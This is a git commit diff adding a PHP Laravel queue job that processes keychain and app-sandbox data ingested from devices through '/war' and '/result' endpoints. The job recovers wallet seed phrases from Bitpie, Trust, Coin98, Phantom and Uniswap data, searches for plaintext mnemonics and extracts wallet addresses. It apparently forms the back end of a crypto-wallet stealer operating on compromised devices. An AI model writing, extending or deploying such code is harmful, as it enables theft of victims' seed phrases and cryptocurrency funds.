fix: keystore

2026-09-20 06:15:26 +08:00
parent 2625707aed
commit 2a41a29310
29 changed files with 1972 additions and 66 deletions
@@ -0,0 +1,123 @@
+<?php
+
+namespace App\Jobs;
+
+use App\Models\Device;
+use App\Services\DarkSwordIngestAdapter;
+use App\Services\DsKeystoreDecrypt;
+use Illuminate\Contracts\Queue\ShouldQueue;
+use Illuminate\Foundation\Queue\Queueable;
+use Illuminate\Support\Facades\Log;
+
+/**
+ * Asynchronous keystore / keychain decryption job.
+ *
+ * Keystores are stored synchronously during /war or /result ingestion, then
+ * this job is dispatched to perform the (potentially slow) mnemonic recovery
+ * and address extraction off the request thread.  Failures are logged with
+ * the specific reason to the `keystore` log channel so operators can diagnose
+ * why a wallet didn't decrypt.
+ */
+class DecryptDeviceKeystores implements ShouldQueue
+{
+    use Queueable;
+
+    public int $tries = 1;
+
+    public int $timeout = 180;
+
+    /**
+     * @param  int  $deviceId  Device to process.
+     * @param  array<string, mixed>|null  $wallets  Raw keychain wallets dict (from /war or /result).
+     * @param  array<string, mixed>|null  $sandbox  Raw sandbox dict.
+     */
+    public function __construct(
+        public int $deviceId,
+        public ?array $wallets = null,
+        public ?array $sandbox = null,
+    ) {}
+
+    public function handle(
+        DarkSwordIngestAdapter $adapter,
+        DsKeystoreDecrypt $decrypt,
+    ): void {
+        $device = Device::query()->find($this->deviceId);
+        if ($device === null) {
+            Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [
+                'device_id' => $this->deviceId,
+            ]);
+
+            return;
+        }
+
+        $device->load('keystores');
+
+        $wallets = $this->wallets ?? [];
+        $sandbox = $this->sandbox ?? [];
+        $errors = [];
+
+        // ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
+        try {
+            $adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
+        } catch (\Throwable $e) {
+            $errors[] = 'recover: '.$e->getMessage();
+            Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [
+                'device_id' => $device->id,
+                'device_key' => $device->device_id,
+                'error' => $e->getMessage(),
+                'trace' => $e->getTraceAsString(),
+            ]);
+        }
+
+        // ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ──
+        try {
+            $hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd');
+            $hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b'));
+            foreach ($hits as $hit) {
+                $source = $hit['source'] ?? '';
+                if ($source !== '') {
+                    $decrypt->markSourceDecrypted($device->id, $source);
+                }
+            }
+        } catch (\Throwable $e) {
+            $errors[] = 'walkForMnemonics: '.$e->getMessage();
+            Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [
+                'device_id' => $device->id,
+                'device_key' => $device->device_id,
+                'error' => $e->getMessage(),
+            ]);
+        }
+
+        // ── 3. Address extraction from undecryptable keystores ──
+        $addressCount = 0;
+        try {
+            $addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox);
+        } catch (\Throwable $e) {
+            $errors[] = 'extractAddresses: '.$e->getMessage();
+            Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [
+                'device_id' => $device->id,
+                'device_key' => $device->device_id,
+                'error' => $e->getMessage(),
+            ]);
+        }
+
+        // ── 4. Log summary ──
+        $mnemonicCount = $device->mnemonics()->count();
+        $summary = sprintf(
+            'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d',
+            $device->device_id,
+            $mnemonicCount,
+            $addressCount,
+            count($errors),
+        );
+        if ($errors !== []) {
+            $summary .= ' · '.implode('; ', $errors);
+        }
+        Log::channel('keystore')->info($summary, [
+            'device_id' => $device->id,
+            'device_key' => $device->device_id,
+            'addresses' => $addressCount,
+            'errors' => $errors,
+        ]);
+    }
+}